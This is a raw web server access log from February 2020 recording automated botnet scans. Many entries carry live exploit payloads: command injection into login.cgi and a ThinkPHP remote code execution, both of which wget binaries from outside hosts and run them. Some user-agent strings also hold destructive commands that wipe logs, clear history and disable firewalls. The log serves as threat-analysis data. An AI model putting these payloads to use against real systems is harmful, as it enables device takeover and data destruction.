212.91.246.72 - - [17/Feb/2020:02:34:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.160.245.45 - - [17/Feb/2020:02:38:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.224.201.36 - - [17/Feb/2020:02:40:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
95.9.47.86 - - [17/Feb/2020:02:41:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.174.254.5 - - [17/Feb/2020:02:43:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
122.141.188.89 - - [17/Feb/2020:02:44:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:02:50:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:02:50:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:02:50:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:02:51:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.224.5.92 - - [17/Feb/2020:02:51:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
115.20.222.185 - - [17/Feb/2020:02:51:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.228.13.219 - - [17/Feb/2020:02:54:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
37.202.101.13 - - [17/Feb/2020:02:54:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
83.27.230.12 - - [17/Feb/2020:02:55:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
41.155.248.3 - - [17/Feb/2020:02:56:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.83.67.187 - - [17/Feb/2020:02:59:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
148.71.44.68 - - [17/Feb/2020:03:00:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.93.2.213 - - [17/Feb/2020:03:05:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
78.175.83.38 - - [17/Feb/2020:03:05:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.175.83.38 - - [17/Feb/2020:03:05:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
192.241.133.191 - - [17/Feb/2020:03:06:25 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
192.241.133.191 - - [17/Feb/2020:03:06:25 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
192.241.133.191 - - [17/Feb/2020:03:06:25 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
192.241.133.191 - - [17/Feb/2020:03:06:26 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
192.241.133.191 - - [17/Feb/2020:03:06:26 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
192.241.133.191 - - [17/Feb/2020:03:06:26 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
202.9.120.81 - - [17/Feb/2020:03:06:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.103.124.36 - - [17/Feb/2020:03:07:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
195.49.187.144 - - [17/Feb/2020:03:09:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
178.73.215.171 - - [17/Feb/2020:03:11:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
64.227.55.76 - - [17/Feb/2020:03:11:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.172.9.160 - - [17/Feb/2020:03:14:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
5.236.73.181 - - [17/Feb/2020:03:21:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
5.236.73.181 - - [17/Feb/2020:03:21:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
35.225.21.27 - - [17/Feb/2020:03:22:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.169.210.49 - - [17/Feb/2020:03:25:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.175.83.38 - - [17/Feb/2020:03:26:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
62.138.24.40 - - [17/Feb/2020:03:31:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
62.138.24.40 - - [17/Feb/2020:03:31:57 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
103.15.83.23 - - [17/Feb/2020:03:31:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
62.138.24.40 - - [17/Feb/2020:03:31:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
62.138.24.40 - - [17/Feb/2020:03:32:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
151.20.70.178 - - [17/Feb/2020:03:32:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.20.70.178 - - [17/Feb/2020:03:32:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
71.77.51.27 - - [17/Feb/2020:03:35:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
164.52.24.163 - - [17/Feb/2020:03:38:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
37.115.251.163 - - [17/Feb/2020:03:41:59 +0100] "GET / HTTP/1.1" 200 1229 "http://medcor-list.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
37.115.251.163 - - [17/Feb/2020:03:42:00 +0100] "GET / HTTP/1.1" 200 1229 "http://medcor-list.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
37.115.251.163 - - [17/Feb/2020:03:42:00 +0100] "GET / HTTP/1.1" 200 1229 "http://medcor-list.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
34.67.90.103 - - [17/Feb/2020:03:42:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.187.199.155 - - [17/Feb/2020:03:43:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
45.83.67.140 - - [17/Feb/2020:03:44:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
162.244.32.59 - - [17/Feb/2020:03:45:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
88.225.215.221 - - [17/Feb/2020:03:46:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
200.85.63.98 - - [17/Feb/2020:03:46:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.247.186.179 - - [17/Feb/2020:03:48:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
95.9.47.86 - - [17/Feb/2020:03:50:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.228.13.219 - - [17/Feb/2020:03:50:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.215.212.192 - - [17/Feb/2020:03:50:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
185.64.51.192 - - [17/Feb/2020:03:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.209.176.136 - - [17/Feb/2020:03:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.5.40.117 - - [17/Feb/2020:03:54:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.188.161.93 - - [17/Feb/2020:03:55:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
109.94.113.180 - - [17/Feb/2020:04:02:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.187.199.155 - - [17/Feb/2020:04:03:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
185.180.197.10 - - [17/Feb/2020:04:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
65.99.152.25 - - [17/Feb/2020:04:09:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.100.39.167 - - [17/Feb/2020:04:10:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
193.107.75.20 - - [17/Feb/2020:04:14:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
81.149.9.72 - - [17/Feb/2020:04:15:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
98.28.219.23 - - [17/Feb/2020:04:19:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.236.4.229 - - [17/Feb/2020:04:19:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
176.43.5.157 - - [17/Feb/2020:04:25:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.245.165.189 - - [17/Feb/2020:04:25:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.88.27.34 - - [17/Feb/2020:04:28:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.110.57.185 - - [17/Feb/2020:04:37:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.186.137.112 - - [17/Feb/2020:04:38:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
98.28.219.23 - - [17/Feb/2020:04:39:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.115.40.30 - - [17/Feb/2020:04:41:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.85.16.128 - - [17/Feb/2020:04:42:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
192.241.230.223 - - [17/Feb/2020:04:44:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.230.223 - - [17/Feb/2020:04:44:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.230.223 - - [17/Feb/2020:04:44:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.230.223 - - [17/Feb/2020:04:44:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.230.223 - - [17/Feb/2020:04:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.230.223 - - [17/Feb/2020:04:46:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.230.223 - - [17/Feb/2020:04:48:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
